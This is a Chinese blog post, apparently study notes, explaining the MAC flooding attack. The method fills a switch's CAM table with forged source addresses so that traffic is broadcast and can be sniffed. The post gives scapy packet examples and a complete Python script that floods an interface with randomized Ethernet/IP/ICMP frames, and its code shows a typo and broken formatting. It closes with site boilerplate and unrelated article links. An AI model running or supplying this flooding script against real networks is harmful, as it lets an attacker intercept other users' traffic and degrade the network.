python电脑攻击_python实现MAC洪水攻击

python电脑攻击_python实现MAC洪水攻击前言 一般交换机在数据转发过程中 依靠对 CAM 表的查询来确定正确的转发接口 如果在 CAM 表中查询不到 则将该数据帧作为广播帧处理 CAM 表存储数量有限 当数据到达上限之后将不会存储 根据此原理 可以通过在刷新时间内对其发送足够多的不同 MAC 地址的伪造数据包来占用 CAM 表 这种情况下 所有经过交换机的数据帧都会被作为广播帧处理 然后就可以获取到所有经过交换机的正常数据帧 并且交换机模式会降为 Hub 模

前言:一般交换机在数据转发过程中,依靠对CAM表的查询来确定正确的转发接口,如果在CAM表中查询不到,则将该数据帧作为广播帧处理,CAM表存储数量有限,当数据到达上限之后将不会存储。根据此原理,可以通过在刷新时间内对其发送足够多的不同MAC地址的伪造数据包来占用CAM表,这种情况下,所有经过交换机的数据帧都会被作为广播帧处理,然后就可以获取到所有经过交换机的正常数据帧,并且交换机模式会降为Hub模式。交换机降级到Hub模式后我们就可以监听所有链接到该交换机的数据了。

实现:

第一步:构造随机MAC和IP,scapy模块中的RandMAC()和RandIP()可以很方便实现这一点,也可以生成固定网段IP,RandIP(“192.168.1.*”)

第二步:数据包中包含制定的源IP和MAC,那么交换机就会记录,例如ARP包:

Ether(src=RandMAC(),dst=”FF:FF:FF:FF:FF:FF”)/ARP(op=2,scr=”0.0.0.0″,hwdst=”FF:FF:FF:FF:FF:FF”)/Padding(load=”X”*18)

或者ICMP包:

Ether(src=RandMAC(“*:*:*:*:*:*”),dst=RandMAC(“*:*:*:*:*:*”))/IP(src=RandIP(“*:*:*:*”),dst=RandIP(“*:*:*:*”))/ICMP()

接下来完整代码:

#!/usr/bin/python

import sys

from scapy.all import *

import time

iface=”eth0″

if len(sys.argv)>=2:

iface=sys.argv[1]

while(1):

packet=

Ether(src=RandMAC(“*:*:*:*:*:*”),

dst=RandMAC(“*:*:*:*:*:*”)) / \

IP(src=RandIP(“*.*.*.*”),

dst=RandIP(“*.*.*.*”)) / \

ICMP()

time.sleep(0.5)

sendp(packet,iface=iface,loop=0)

名词解释:CAM表-类似于电脑的ARP缓存表,路由器进行快速转发功能读取的一张缓存表.

Hub模式:第二层(数据链路层),也叫做集线器。

说明:本文参考微信公众号:玄魂工作室推送python系列文章所做的学习笔记

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/217567.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月18日 上午9:17
下一篇 2026年3月18日 上午9:17


相关推荐

  • 超详细VSCode安装教程(Windows)「建议收藏」

    本文基于Windows系统博主的VSCode专栏:分享使用VSCode的基本操作与各种技巧

    2022年4月4日
    152
  • Java 版学生成绩管理系统,附源码[通俗易懂]

    Java 版学生成绩管理系统,附源码[通俗易懂]前言对于计算机专业的学生来讲,一定对于学生成绩管理系统课程设计十分印象深刻。设计、上机、编码、写报告、答辩等一系列流程,虽然很简单,但也可以综合运用我们所学的一些知识了。今天就来复习以下这个课题,用JavaSE来实现该课题,也算是补上当初上课的时候没有好好写的遗憾吧。虽然很简单,但是对于刚涉足编程学习的人来讲,还是有一定难度的,既要考虑界面打印,也要考虑条件判断、循环语句、输入输出控制等等技巧,所以在这里简单地实现一下,方便给初学的小伙伴们一个参考(对于我的界面比较丑的问题,就不要过于纠结了,下

    2022年7月13日
    25
  • Java二维数组(超详解)

    Java二维数组(超详解)Java二维数组(超详解)

    2022年7月9日
    24
  • 安卓软件反编译教程_android反编译教程

    安卓软件反编译教程_android反编译教程该楼层疑似违规已被系统折叠隐藏此楼查看此楼如何修改信息,联系人,通话记录的2级字体颜色教程(4.1.1和4.1.2)第一个修改信息的字体颜色2级1.反编辑SecMms.apk2.打开res\layout-sw359dp的conversation_list_item.xml3.找到4.把上面的颜色编码修改成android:textColor=”#ffff33b5e5″(自己改自己喜欢的颜色编码,…

    2025年12月16日
    5
  • python将一维数组导入到excel表格,并使用Origin绘图

    python将一维数组导入到excel表格,并使用Origin绘图python将一维数组导入到excel表格,并使用excel绘图

    2022年5月30日
    40
  • Java解析XML字符串格式「建议收藏」

    Java解析XML字符串格式「建议收藏」Java解析XML字符串格式代码示例结果展示代码示例publicstaticvoidmain(String[]args){StringparseStr=null;StringreturnMsg=”<?xmlversion=\”1.0\”encoding=\”gb2312\”?>”+”<Resultxmlns=\”http://www.fiorano.com/fesb/activity/DB

    2022年6月4日
    148

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号